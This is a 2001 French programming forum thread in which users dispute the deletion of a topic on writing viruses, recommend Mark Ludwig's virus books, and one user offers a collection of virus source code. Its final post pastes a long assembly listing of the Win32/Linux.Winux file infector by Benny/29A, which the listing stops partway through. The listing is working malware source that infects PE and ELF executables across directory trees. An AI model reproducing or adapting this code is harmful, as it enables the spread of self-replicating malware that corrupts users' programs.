Droit à l'information!!!

Droit à l'information!!! - Programmation

Marsh Posté le 11-05-2001 à 16:00:04    

J'ai posté une réponse ce matin et j'ai l'impression qu'on me l'a effacé: quel scandale!!!
Je redonne mes infos:
 
pour la création de virus, il existe différents ouvrages qui sont en vente LIBRE!!!
 
DU VIRUS INFORMATIQUES
- Auteur : Mark Ludwig Pascal Lointier  
- Editeur : Dunod
- Collection : NOIRE
- Genre : INFORMATIQUE
- ISBN : 2100034677
- Paru en : mai 1997
- Nombre de pages : 736
- 398 francs quand meme
 
MUTATION D'UN VIRUS
- Auteur : M.a. Ludwig  
- Editeur : Vuibert
- Collection : VUIBERT INFORMATIQUE
- Genre : PARA UNIVERSITAIRE
- ISBN : 287908086X
- Paru en : septembre 1994
- 250 francs
 
il existe aussi "naissance d'un virus" du meme auteur mais il n'est plus édité...

Reply

Marsh Posté le 11-05-2001 à 16:00:04   

Reply

Marsh Posté le 11-05-2001 à 16:04:02    

Y'en a des qu'aiment pas les virus on dirait !
 
C'est vrai quoi, plus on connait les virus, moins on en a peur.
 
Le modérateur aurrait-il des actions chez des éditeurs d'anti-virus... ;-)


---------------
Laissez l'Etat dans les toilettes où vous l'avez trouvé.
Reply

Marsh Posté le 11-05-2001 à 16:04:15    

Si, je trouve ça normal
 
Ici, on parle pas de choses qui fachent comme les w***z et ces conneries de virus
 
vivement que ce topic soit closed :(


---------------
Samsung Galaxy S1 -> Samsung Galaxy S2 -> Samsung Note 2 -> Huawei Ascend Mate 7 -> ZTE Axon 7 -> OnePlus 6T -> Oppo Find X2 PRO
Reply

Marsh Posté le 11-05-2001 à 16:04:54    

effectivement, ton post a disparu (le topic entier en fait) mais ce n'est peut-être pas le modo qu'il l'a viré, c'est peut-être le type qui avait créer le topic.


---------------
Webmaster du site de l'Île-Saint-Denis : http://www.lile-saint-denis.fr
Reply

Marsh Posté le 11-05-2001 à 16:05:14    

Tout a fait d'accord :
la meilleure facon de combattre un ennemi est de le connaitre ;)

Reply

Marsh Posté le 11-05-2001 à 16:08:35    

C'est le modo qui a effacé le topic, plus ou moins à ma demande. (j'avais posté un appel au flood dans BlaBla, effacé en même temps que le topic concerné).
 
C'est vrai, ton post a été effacé dans le lot, désolé.
 
Quand on poste des trucs dans ce genre (et là je parle pour le mec à l'origine du truc), il faut faire ça avec des pincettes... ou plutôt aller sur un autre forum.

Reply

Marsh Posté le 11-05-2001 à 16:09:02    

vous n'êtes et ne resterez que des ignorants toutes votre vie!
Les virus sont des choses très intéressantes à étudier! Tous les virus ne sont pas dangereux, bien au contraire....
Voir comment il arrive à se reproduire est absolument géniale..
Surtout que les livres que j'ai cité sont libres à la vente! Tu peux les commander dans n'importe quelle librairie!!
A bon entendeur! Salut......

Reply

Marsh Posté le 11-05-2001 à 16:10:17    

Mais c'est vrai qu'il n'y a pas beaucoup de forum en français sur le sujet!!!

Reply

Marsh Posté le 11-05-2001 à 16:10:51    

pourquoi le pluriel moruz ?? c'est pas beau de généraliser.


---------------
Webmaster du site de l'Île-Saint-Denis : http://www.lile-saint-denis.fr
Reply

Marsh Posté le 11-05-2001 à 16:11:31    

romuz a écrit a écrit :

vous n'êtes et ne resterez que des ignorants toutes votre vie!




 
Permets-moi un bon vieux LOL :lol:

Reply

Marsh Posté le 11-05-2001 à 16:11:31   

Reply

Marsh Posté le 11-05-2001 à 16:16:30    

Dommage que je ne tape pas au clavier aussi parfaitement que toi.
Tout le monde n'est pas parfait... : :spookie:

Reply

Marsh Posté le 11-05-2001 à 16:22:01    

a mon avis, fred999, il etait serieux là... :D
 
Pis, pourquoi les virus sont ils des sujets ki fachent ??
Tant qu'on reste dans la prog. ou para-prog. je pense que c ok....
 
remarque: si kkun pense que les questions sur le html ou asp ou je ne sais koi d'autres c mieux... ben il a tord (avis perso)
Un gars ki fait un site pedophile ou underground peut tres bien poster des topics pour l'aider a concevoir son site sans etre modérés... alors...

Reply

Marsh Posté le 11-05-2001 à 16:26:51    

romuz a écrit a écrit :

Dommage que je ne tape pas au clavier aussi parfaitement que toi.
Tout le monde n'est pas parfait... : :spookie:




 
:??:  
 
Et pis bon merde c'est pas contre ton post que j'ai gueulé!!!
 
Waoutou > :sarcastic:

Reply

Marsh Posté le 11-05-2001 à 16:27:11    

Tout le monde n'est pas idiot.
Tu as bien raison en disant que du moment que ca reste dans la prog, c ok... Si après vous voulez tout détruire et créer (bon là faut avouer qu'il faut être très fort) un virus genre "I Love you", ça ne relève plus de la programmation et çà n'a plus rien à faire ici...

Reply

Marsh Posté le 11-05-2001 à 16:28:44    

je ne t'en vx pas fred999.
C'est juste que j'aime pas qu'on vire un topic qui peut être intéressant...

Reply

Marsh Posté le 11-05-2001 à 16:36:21    

OK, désolé ;) mais je ne pensais pas que le topic allait être effacé.
 
D'habitude, c'est une clôture ou bien un p'tit flood.

Reply

Marsh Posté le 11-05-2001 à 16:37:41    

Cf. topic dans blabla "Merci les modos"...
Bon, ben puisqu'on en reparle, je redonne ma référence supplémentaire:
"Du virus à l'antivirus", également de Mark Ludwig...
 
PS: Et après qu'on vienne pas me dire que j'aide pas, hein! ;)

Reply

Marsh Posté le 11-05-2001 à 16:37:44    

Si des gens sont interessés, je possède une collection de codes sources de virus! (quelques centaines).

Reply

Marsh Posté le 11-05-2001 à 16:38:42    

-> Romuz : La modération du topic te donne au moins l'occasion d'augmenter ton nombre de post : tu es maintenant à 12 depuis ton inscription qui date d'aujourd'hui ...
 
Moi aussi j'aurais modéré le post, même si la programmation de virus est un sujet intéressant, car difficile. En effet, le forum est de lecture publique, (même s'il faut s'inscrire pour poster) et il y a assez de virus qui se balladent pour ne pas en susciter de nouveaux.

Reply

Marsh Posté le 11-05-2001 à 16:43:01    

ca c'est vrai!!!
Mais ce sont de vieux virus DOS! donc niveau diffusion, çà va pas le faire...

Reply

Marsh Posté le 11-05-2001 à 16:45:18    

JPA a écrit a écrit :

-> Romuz : La modération du topic te donne au moins l'occasion d'augmenter ton nombre de post : tu es maintenant à 12 depuis ton inscription qui date d'aujourd'hui ...
 
Moi aussi j'aurais modéré le post, même si la programmation de virus est un sujet intéressant, car difficile. En effet, le forum est de lecture publique, (même s'il faut s'inscrire pour poster) et il y a assez de virus qui se balladent pour ne pas en susciter de nouveaux.




Oui,mais je vais redire ce que j'ai dit chez blabla... On n'a fait que donner des références bibliographiques sérieuses qui ne risquent pas de constituer une menace (quelques vieux virus DOS)... Un trou du cul qui veut faire chier le monde serait vite indisposé à la simple vue des ouvrages mentionnés!

Reply

Marsh Posté le 11-05-2001 à 16:47:13    

Mutation d'une virus fait 384 pages:
300 pages philosophiques.
le reste : index+informatique

Reply

Marsh Posté le 11-05-2001 à 16:47:40    

Toucouch a écrit a écrit :

 
Un trou du cul qui veut faire chier le monde serait vite indisposé à la simple vue des ouvrages mentionnés!




 
Un vulgaire trou du cul sans doute, mais certainement pas un 3133T tRoUdUcUlZ :D

Reply

Marsh Posté le 11-05-2001 à 16:50:23    

j'ai juste posté une réponse à un gars qui avait besoin d'aide...
Mon truc, c'est pas les virus, c'est la prog graphique.

Reply

Marsh Posté le 11-05-2001 à 16:52:13    

Si on a gueulé contre l'auteur de ce post (moi le 1°) c'est que tres vraissemblablement c'etait pas pour les etudier "afin de ne pas rester un ignorant toute sa vie"
c'etait (au moins) la 2° fois qu'il demandait ca.
je lui ait précisé que s'il cherchait un peu il trouverait et que j'esperais que c'etait par pure curiosite. Mais quand le mec prend meme pas la peine de tapper 2 ou 3 mots dans un moteur de recherche, à mon avis c'est que c'est pas la soif de connaissance (j'aime ce terme :D) qui le motive.
moi aussi je suis passé par ma période "hacker", genre j'ai 3 fenetres de sites de hack et je pompe comme un malade des sources de trojans et autres virus ... (c'etait à mes début :D) mais ca m'a vite passé et j'ai meme pas ouvert ces sources :lol:
et je suis bien content d'avoir fait ce choix. en rendant ce sujet Tabou, on cherche à "mettre dans sur la bonne voie des ames en quete de devenir" ... :bic:


---------------
FAQ fclc++ - FAQ C++ - C++ FAQ Lite
Reply

Marsh Posté le 11-05-2001 à 16:53:15    

Fred999> :lol:
romuz> Allez, c'est pas grave... Mauis c'est vrai que la réaction à la simple évocation du mot "virus" est en général épidermique et violente...

Reply

Marsh Posté le 11-05-2001 à 16:56:38    

HelloWorld a écrit a écrit :

 
c'etait (au moins) la 2° fois qu'il demandait ca.




 
Haaaa je me disais bien que ce nick m'évoquait quelque chose...

Reply

Marsh Posté le 11-05-2001 à 16:59:31    

Reply

Marsh Posté le 11-05-2001 à 16:59:39    

tout comme vous, je trouve çà très drole.
Forcément, ya toujours des couillons qui veulent faire chier (avec leur virus) mais heureusement, ils ne sont pas assez malins pour pouvoir en coder une ligne....

Reply

Marsh Posté le 11-05-2001 à 17:01:36    

Ma modeste contribution à ces beaux discours, un virus compatible Win32 et autres exécutables au format ELF, admirer:

Code :
  1. ;                          ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  2. ;                          ³   Win32/Linux.Winux   ³
  3. ;                          ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  4. ;                             ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  5. ;                             ³  by Benny/29A  ³
  6. ;                             ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  7. ;
  8. ;
  9. ;
  10. ;Heya ppl,
  11. ;
  12. ;lemme introduce you my first multi-platform virus, the worlds first
  13. ;PE/ELF infector. The idea of first Win32/Linux virus came to my head
  14. ;when I was learning Linux viruses. I'm not Linux expert, I couldn't
  15. ;code for Linux in assembler - I am familiar with Intel syntax, AT&T
  16. ;is a bit chaotic for me. However, I decided to learn more about Linux
  17. ;coding and left my place of newbee. I was always fascinated of Linux
  18. ;scene and low-level programming under Linux but I never knew much
  19. ;about it.
  20. ;
  21. ;I wanted to code virus for Linux and learn from it. But becoz there
  22. ;already exist some viruses and I knew I won't be able to bring any
  23. ;new technique, I decided to code something unique -> Win32/Linux
  24. ;compatible multi-platform infector. And here you can find the result
  25. ;of my trying. Now, after all, I've got some valuable experiencez and
  26. ;I'm glad for that. Coding/debugging in Linux was hard for me, but I
  27. ;had fun and I learned a lot. And that's the most important.
  28. ;
  29. ;
  30. ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  31. ;³ Technical details ³
  32. ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  33. ;
  34. ;The virus itself ain't much. It's not big, it's not complicated,
  35. ;it's not resident nor polymorphic.. I wanted to be the virus like
  36. ;this. Just to show something new, show that something never seen
  37. ;before is possible and how can it be coded.
  38. ;
  39. ;The virus is devided to two partz: Win32 part and Linux part. Every
  40. ;part is able to infect both of PE and ELF filez. This source is
  41. ;designed to be compiled by TASM under Win32, nevertheless it can
  42. ;infect Linux programz and so then it will be able to be executed
  43. ;in Linux environment (and there it is also able to infect
  44. ;Win32 part, which can be executed in Win32 environment etc etc etc...).
  45. ;
  46. ;Win32 part:
  47. ;ÄÄÄÄÄÄÄÄÄÄÄÄ
  48. ;
  49. ;Virus infects PE filez by overwritting .reloc section, so it does not
  50. ;enlarge host file size. Filez that don't have .reloc section, big
  51. ;enough for virus code, can't be infected (explorer.exe can be used to
  52. ;test infection capabilities). It can pass thru directory tree by well
  53. ;known "dotdot" method ("cd .." ) and there infects all PE and ELF
  54. ;filez - virus does not check extensionz, it analyses victim's internal
  55. ;format and then decidez whata do.
  56. ;When all filez are passed and/or infected virus will execute host code.
  57. ;
  58. ;Linux part:
  59. ;ÄÄÄÄÄÄÄÄÄÄÄÄ
  60. ;
  61. ;Virus infects ELF filez by overwritting host code by viral code. The
  62. ;original host code is stored at the end of host file. It can infect
  63. ;all filez (both of PE and ELF) in current directory, also without
  64. ;checking file extensionz.
  65. ;When all filez are passed and/or infected virus will restore host code
  66. ;(overwrite itself by original host code) and execute it.
  67. ;
  68. ;
  69. ;Well, you are probably asking how it is possible that virus can infect Win32
  70. ;appz from Linux environment and Linux appz from Win32 environment. Yeah,
  71. ;many ppl already asked me. For instance, under some emulator. There exist
  72. ;some emulatorz (win4lin, wine etc..) which are often used to execute Win32
  73. ;appz under Linux. Also, I know many ppl that have partition specially
  74. ;reserved for CD burning, where they store both of Win32 and Linux programz.
  75. ;Virus executed from there has no problemz with infection, heh ;)
  76. ;
  77. ;
  78. ;Does this virus work? Heh, sure it does. I tested it on Win98, Win2000 and
  79. ;RedHat 7.0, and it worked without any problemz. However, if you will find
  80. ;any problemz, don't by shy and send me a bug report ;-P
  81. ;
  82. ;
  83. ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  84. ;³ Licence agreement ³
  85. ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  86. ;
  87. ;This virus is covered by GPL - GNU General Public Licence. All crucial
  88. ;facts can be found there. Read it before using!
  89. ;
  90. ;
  91. ;ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
  92. ;³ Last notez ³
  93. ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
  94. ;
  95. ;While I was finishing Universe and coding Winux, many personal thingz
  96. ;happened to me. Again such depressive season as only winter can be
  97. ;fell down on me.. I'm finishing my high-school, last year, many examz
  98. ;(and I know nothing, you know that feeling, heh :) etc. End of next
  99. ;stage of my life is getting closer and I don't know how will that next
  100. ;one be for me, what it will take and bring to me. I'm looking forward
  101. ;to summer, the best season in the year, no depression, no school, no
  102. ;fucking problemz I still have and can't hold them all.. c ya l8r,
  103. ;somewhere in timespace..
  104. ;
  105. ;
  106. ;
  107. ;                                                  ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  108. ;                                                  # Benny / 29A ÀÄ¿
  109. ;                                                  @ benny@post.cz ÀÄÄÄÄÄÄÄÄÄ¿
  110. ;(c) March, 2001                                   @ http://benny29a.cjb.net ³
  111. ;Czech Republic                                    ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  112. .386p
  113. .model flat
  114. include win32api.inc
  115. include useful.inc
  116. include mz.inc
  117. include pe.inc
  118. .data
  119. db ?
  120. .code
  121. Start: pushad
  122. @SEH_SetupFrame ;setup SEH frame
  123. call gdelta
  124. gdelta: pop ebp    ;ebp=delta offset
  125. call get_base   ;get K32 base address
  126. call get_apis   ;find addresses of APIz
  127. lea eax,[ebp + prev_dir - gdelta]
  128. push eax
  129. push MAX_PATH
  130. call [ebp + a_GetCurrentDirectoryA - gdelta]
  131. ;get current directory
  132. push 20
  133. pop ecx    ;20 passes in directory tree
  134. f_infect:
  135. push ecx
  136. ;direct action - infect all PE filez in directory
  137. lea esi,[ebp + WFD - gdelta]  ;WIN32_FIND_DATA structure
  138. push esi     ;save its address
  139. @pushsz '*.*'     ;search for all filez
  140. call [ebp + a_FindFirstFileA - gdelta] ;find first file
  141. inc eax
  142. je e_find    ;quit if not found
  143. dec eax
  144. push eax    ;save search handle to stack
  145. f_next: call wCheckInfect   ;infect found file
  146. push esi    ;save WFD structure
  147. push dword ptr [esp+4]  ;and search handle from stack
  148. call [ebp + a_FindNextFileA - gdelta];find next file
  149. test eax,eax
  150. jne f_next    ;and infect it
  151. f_close:call [ebp + a_FindClose - gdelta] ;close search handle
  152. e_find: @pushsz '..'
  153. mov esi,[ebp + a_SetCurrentDirectoryA - gdelta]
  154. call esi    ;go upper in directory tree
  155. pop ecx
  156. loop f_infect   ;and again..
  157. lea eax,[ebp + prev_dir - gdelta]
  158. push eax
  159. call esi    ;go back to original directory
  160. end_host:
  161. @SEH_RemoveFrame   ;remove SEH frame
  162. popad
  163. extrn ExitProcess
  164. mov eax,offset ExitProcess-400000h
  165. original_ep = dword ptr $-4
  166. add eax,400000h
  167. image_base = dword ptr $-4
  168. jmp eax    ;and go back to host program
  169. ;INFECT FILE (Win32 version)
  170. wCheckInfect Proc
  171. pushad
  172. @SEH_SetupFrame ;setup SEH frame
  173. and dword ptr [ebp + sucElf - gdelta],0
  174. test [esi.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
  175. jne end_seh    ;discard directory entries
  176. xor ecx,ecx
  177. cmp [esi.WFD_nFileSizeHigh],ecx
  178. jne end_seh    ;discard files >4GB
  179. mov eax,[esi.WFD_nFileSizeLow]
  180. cmp eax,4000h
  181. jb end_seh    ;discard small filez
  182. mov [ebp + l_lseek - gdelta],eax
  183. xor eax,eax
  184. push eax
  185. push FILE_ATTRIBUTE_NORMAL
  186. push OPEN_EXISTING
  187. push eax
  188. push eax
  189. push GENERIC_READ or GENERIC_WRITE
  190. lea eax,[esi.WFD_szFileName]
  191. push eax
  192. call [ebp + a_CreateFileA - gdelta] ;open file
  193. inc eax
  194. je end_seh
  195. dec eax
  196. mov [ebp + hFile - gdelta],eax
  197. cdq
  198. push edx
  199. push edx
  200. push edx
  201. push PAGE_READWRITE
  202. push edx
  203. push eax
  204. call [ebp + a_CreateFileMappingA - gdelta]
  205. cdq
  206. xchg eax,ecx
  207. jecxz end_cfma
  208. mov [ebp + hMapFile - gdelta],ecx
  209. push edx
  210. push edx
  211. push edx
  212. push FILE_MAP_WRITE
  213. push ecx    ;map file to address space
  214. call [ebp + a_MapViewOfFile - gdelta]
  215. xchg eax,ecx
  216. jecxz end_mvof
  217. mov [ebp + lpFile - gdelta],ecx
  218. jmp n_fileopen
  219. close_file:
  220. push 12345678h
  221. lpFile = dword ptr $-4    ;unmap file
  222. call [ebp + a_UnmapViewOfFile - gdelta]
  223. end_mvof:
  224. push 12345678h
  225. hMapFile = dword ptr $-4
  226. call [ebp + a_CloseHandle - gdelta]
  227. end_cfma:
  228. mov ecx,12345678h   ;was it linux program (ELF)?
  229. sucElf = dword ptr $-4
  230. jecxz c_close    ;no, close that file
  231. push 2
  232. push 0
  233. push 0
  234. push dword ptr [ebp + hFile - gdelta]
  235. call [ebp + a_SetFilePointer - gdelta]
  236. ;go to EOF
  237. push 0
  238. lea eax,[ebp + sucElf - gdelta]
  239. push eax
  240. push virtual_end-Start
  241. push 12345678h
  242. a_mem = dword ptr $-4
  243. push dword ptr [ebp + hFile - gdelta]
  244. call [ebp + a_WriteFile - gdelta]
  245. ;write there orig. program part
  246. push MEM_RELEASE
  247. push 0
  248. push dword ptr [ebp + a_mem - gdelta]
  249. call [ebp + a_VirtualFree - gdelta]
  250. ;and deallocate used memory
  251. c_close:push 12345678h
  252. hFile = dword ptr $-4
  253. call [ebp + a_CloseHandle - gdelta] ;close file
  254. jmp end_seh    ;and quit
  255. n_fileopen:
  256. call check_elf
  257. je wInfectELF   ;is it Linux program (ELF)?
  258. add ax,-IMAGE_DOS_SIGNATURE
  259. jne close_file
  260. call check_pe
  261. jne close_file   ;is it Win32 program (PE)?
  262. ;important chex
  263. cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
  264. jne close_file
  265. mov ax,[esi.NT_FileHeader.FH_Characteristics]
  266. test ax,IMAGE_FILE_EXECUTABLE_IMAGE
  267. je close_file
  268. test ax,IMAGE_FILE_DLL
  269. jne close_file
  270. test ax,IMAGE_FILE_SYSTEM
  271. jne close_file
  272. mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem]
  273. test al,IMAGE_SUBSYSTEM_NATIVE
  274. jne close_file
  275. movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
  276. dec eax
  277. test eax,eax
  278. je close_file
  279. call header&relocs   ;get PE headerz and check for relocs
  280. je close_file   ;quit if no relocs
  281. mov ebx,[edi.SH_VirtualAddress]
  282. cmp eax,ebx
  283. jne close_file
  284. cmp [edi.SH_SizeOfRawData],virus_end-Start+500
  285. jb close_file   ;is it large enough?
  286. pushad
  287. xor eax,eax
  288. mov edi,edx
  289. stosd
  290. stosd
  291. popad     ;erase relocs record
  292. call set_alignz   ;align section variable
  293. push dword ptr [ebp + original_ep - gdelta]
  294. push dword ptr [ebp + image_base - gdelta]
  295. ;save used variablez
  296. mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
  297. mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],ebx
  298. mov [ebp + original_ep - gdelta],eax
  299. mov eax,[esi.NT_OptionalHeader.OH_ImageBase]
  300. mov [ebp + image_base - gdelta],eax
  301. ;set variablez
  302. pushad
  303. mov edi,[edi.SH_PointerToRawData]
  304. add edi,[ebp + lpFile - gdelta]
  305. lea esi,[ebp + Start - gdelta]
  306. mov ecx,virus_end-Start
  307. rep movsb    ;overwrite relocs by virus body
  308. popad
  309. pop dword ptr [ebp + image_base - gdelta]
  310. pop dword ptr [ebp + original_ep - gdelta]
  311. ;restore used variablez
  312. or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
  313. jmp close_file   ;set flag and quit
  314. wCheckInfect EndP
  315. ;INFECT LINUX PROGRAM (Win32 version)
  316. wInfectELF Proc
  317. mov edi,ecx
  318. movzx eax,word ptr [edi+12h]
  319. cmp eax,3
  320. jne close_file
  321. call get_elf   ;get elf headerz
  322. p_sectionz:
  323. mov eax,[esi+0Ch]  ;virtual address
  324. add eax,[esi+14h]  ;virtual size
  325. cmp ebx,eax
  326. jb got_section  ;does EP fit to this section?
  327. add esi,edx   ;no, get to next record
  328. loop p_sectionz  ;ECX-timez
  329. jmp close_file  ;invalid ELF, quit
  330. got_section:
  331. mov eax,[ebp + Start - gdelta]
  332. mov ecx,[esi+10h]
  333. add ecx,edi
  334. cmp [ecx],eax
  335. je close_file  ;infection check
  336. mov eax,[esi+14h]
  337. cmp eax,virtual_end-Start
  338. jb close_file  ;must be large enough
  339. push PAGE_READWRITE
  340. push MEM_RESERVE or MEM_COMMIT
  341. push eax
  342. push 0
  343. call [ebp + a_VirtualAlloc - gdelta]
  344. test eax,eax   ;allocate buffer for host code
  345. je close_file
  346. mov [ebp + a_mem - gdelta],eax
  347. pushad
  348. mov ecx,[esi+14h]
  349. mov esi,[esi+10h]
  350. add esi,edi
  351. push esi
  352. xchg eax,edi
  353. rep movsb   ;copy host code to our buffer
  354. pop edi
  355. lea esi,[ebp + Start - gdelta]
  356. mov ecx,virtual_end-Start
  357. rep movsb   ;overwrite host code by virus body
  358. popad
  359. add dword ptr [edi+18h],LinuxStart-Start
  360. mov [ebp + sucElf - gdelta],edi
  361. jmp close_file  ;set semaphore and quit
  362. wInfectELF EndP
  363. ;this procedure can retrieve API addresses
  364. get_apis Proc
  365. pushad
  366. @SEH_SetupFrame
  367. lea esi,[ebp + crc32s - gdelta] ;get ptr to CRC32 values of APIs
  368. lea edi,[ebp + a_apis - gdelta] ;where to store API addresses
  369. push crc32c      ;how many APIs do we need
  370. pop ecx   ;in ECX...
  371. g_apis: push eax   ;save K32 base
  372. call get_api
  373. stosd    ;save address
  374. test eax,eax
  375. pop eax
  376. je q_gpa   ;quit if not found
  377. add esi,4   ;move to next CRC32 value
  378. loop g_apis   ;search for API addresses in a loop
  379. end_seh:@SEH_RemoveFrame  ;remove SEH frame
  380. popad    ;restore all registers
  381. ret    ;and quit from procedure
  382. q_gpa: @SEH_RemoveFrame
  383. popad
  384. pop eax
  385. jmp end_host  ;quit if error
  386. get_apis EndP
  387. ;this procedure can retrieve address of given API
  388. get_api  Proc
  389. pushad    ;store all registers
  390. @SEH_SetupFrame ;setup SEH frame
  391. mov edi,[eax.MZ_lfanew] ;move to PE header
  392. add edi,eax   ;...
  393. mov ecx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
  394. jecxz end_gpa   ;quit if no exports
  395. mov ebx,eax
  396. add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
  397. mov edx,eax   ;get address of export table
  398. add edx,[ebx.ED_AddressOfNames] ;address of API names
  399. mov ecx,[ebx.ED_NumberOfNames] ;number of API names
  400. mov edi,edx
  401. push dword ptr [esi]  ;save CRC32 to stack
  402. mov ebp,eax
  403. xor eax,eax
  404. APIname:push eax
  405. mov esi,ebp   ;get base
  406. add esi,[edx+eax*4]  ;move to API name
  407. push esi   ;save address
  408. @endsz    ;go to the end of string
  409. sub esi,[esp]  ;get string size
  410. mov edi,esi   ;move it to EDI
  411. pop esi   ;restore address of API name
  412. call CRC32   ;calculate CRC32 of API name
  413. cmp eax,[esp+4]  ;is it right API?
  414. pop eax
  415. je g_name   ;yeah, we got it
  416. inc eax                     ;increment counter
  417. loop APIname   ;and search for next API name
  418. pop eax
  419. end_gpa:xor eax, eax  ;set flag
  420. ok_gpa: @SEH_RemoveFrame  ;remove SEH frame
  421. mov [esp.Pushad_eax],eax ;save value to stack
  422. popad    ;restore all registers
  423. ret    ;quit from procedure
  424. g_name: pop edx
  425. mov edx,ebp
  426. add edx,[ebx.ED_AddressOfOrdinals]
  427. movzx eax,word ptr [edx+eax*2]
  428. cmp eax,[ebx.ED_NumberOfFunctions]
  429. jae end_gpa-1
  430. mov edx,ebp   ;base of K32
  431. add edx,[ebx.ED_AddressOfFunctions] ;address of API functions
  432. add ebp,[edx+eax*4]  ;get API function address
  433. xchg eax,ebp   ;we got address of API in EAX
  434. jmp ok_gpa   ;quit
  435. get_api  EndP
  436. ;this procedure can retrieve base address of K32
  437. get_base Proc
  438. push ebp   ;store EBP
  439. call gdlt   ;get delta offset
  440. gdlt: pop ebp   ;to EBP
  441. mov eax,12345678h  ;get lastly used address
  442. last_kern = dword ptr $-4
  443. call check_kern  ;is this address valid?
  444. jecxz end_gb   ;yeah, we got the address
  445. call gb_table  ;jump over the address table
  446. dd 077E00000h  ;NT/W2k
  447. dd 077E80000h  ;NT/W2k
  448. dd 077ED0000h  ;NT/W2k
  449. dd 077F00000h  ;NT/W2k
  450. dd 0BFF70000h  ;95/98
  451. gb_table:
  452. pop edi   ;get pointer to address table
  453. push 4   ;get number of items in the table
  454. pop esi   ;to ESI
  455. gbloop: mov eax,[edi+esi*4]  ;get item
  456. call check_kern  ;is address valid?
  457. jecxz end_gb   ;yeah, we got the valid address
  458. dec esi   ;decrement ESI
  459. test esi,esi   ;end of table?
  460. jne gbloop   ;nope, try next item
  461. call scan_kern  ;scan the address space for K32
  462. end_gb: pop ebp   ;restore EBP
  463. ret    ;quit
  464. check_kern:    ;check if K32 address is valid
  465. mov ecx,eax   ;make ECX != 0
  466. pushad    ;store all registers
  467. @SEH_SetupFrame ;setup SEH frame
  468. movzx edx,word ptr [eax] ;get two bytes
  469. add edx,-"ZM"  ;is it MZ header?
  470. jne end_ck   ;nope
  471. mov  ebx,[eax.MZ_lfanew] ;get pointer to PE header
  472. add ebx,eax   ;normalize it
  473. mov ebx,[ebx]  ;get four bytes
  474. add ebx,-"EP"  ;is it PE header?
  475. jne end_ck   ;nope
  476. xor ecx,ecx   ;we got K32 base address
  477. mov [ebp + last_kern - gdlt],eax ;save K32 base address
  478. end_ck: @SEH_RemoveFrame  ;remove SEH frame
  479. mov [esp.Pushad_ecx],ecx ;save ECX
  480. popad    ;restore all registers
  481. ret    ;if ECX == 0, address was found
  482. SEH_hndlr macro    ;macro for SEH
  483. @SEH_RemoveFrame  ;remove SEH frame
  484. popad    ;restore all registers
  485. add dword ptr [ebp + bAddr - gdlt],1000h ;explore next page
  486. jmp bck   ;continue execution
  487. endm
  488. scan_kern:    ;scan address space for K32
  489. bck:    pushad    ;store all registers
  490. @SEH_SetupFrame ;setup SEH frame
  491. mov eax,077000000h  ;starting/last address
  492. bAddr = dword ptr $-4
  493. movzx edx,word ptr [eax] ;get two bytes
  494. add edx,-"ZM"  ;is it MZ header?
  495. jne pg_flt   ;nope
  496. mov  edi,[eax.MZ_lfanew] ;get pointer to PE header
  497. add edi,eax   ;normalize it
  498. mov ebx,[edi]  ;get four bytes
  499. add ebx,-"EP"  ;is it PE header?
  500. jne pg_flt   ;nope
  501. mov ebx,eax
  502. mov esi,eax
  503. add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
  504. add esi,[ebx.ED_Name]
  505. mov esi,[esi]
  506. add esi,-'NREK'
  507. je end_sk
  508. pg_flt: xor ecx,ecx   ;we got K32 base address
  509. mov [ecx],esi  ;generate PAGE FAULT! search again...
  510. end_sk: mov [ebp + last_kern - gdlt],eax ;save K32 base address
  511. @SEH_RemoveFrame  ;remove SEH frame
  512. mov [esp.Pushad_eax],eax ;save EAX - K32 base
  513. popad    ;restore all registers
  514. ret
  515. get_base EndP
  516. CRC32: push ecx   ;procedure for calculating CRC32s
  517. push edx   ;at run-time
  518. push ebx     
  519. xor ecx,ecx 
  520. dec ecx       
  521. mov edx,ecx 
  522. NextByteCRC:         
  523. xor eax,eax 
  524. xor ebx,ebx 
  525. lodsb         
  526. xor al,cl   
  527. mov cl,ch
  528. mov ch,dl
  529. mov dl,dh
  530. mov dh,8
  531. NextBitCRC:
  532. shr bx,1
  533. rcr ax,1
  534. jnc NoCRC
  535. xor ax,08320h
  536. xor bx,0EDB8h
  537. NoCRC:  dec dh
  538. jnz NextBitCRC
  539. xor ecx,eax
  540. xor edx,ebx
  541. dec edi
  542. jne NextByteCRC
  543. not edx
  544. not ecx
  545. pop ebx
  546. mov eax,edx
  547. rol eax,16
  548. mov ax,cx
  549. pop edx
  550. pop ecx
  551. ret
  552. signature  db 0,'[Win32/Linux.Winux] multi-platform virus by Benny/29A',0
  553. ;little signature of mine ;-)
  554. ;Viral entrypoint in Linux programz
  555. LinuxStart:
  556. push eax   ;reserve variable for return to host
  557. pushad
  558. mov ebx,[esp.cPushad+8] ;get command line
  559. call lgdelta
  560. lgdelta:pop ebp   ;ebp=delta offset
  561. mov ecx,end_end_lhost-end_lhost
  562. sub esp,ecx
  563. mov edi,esp
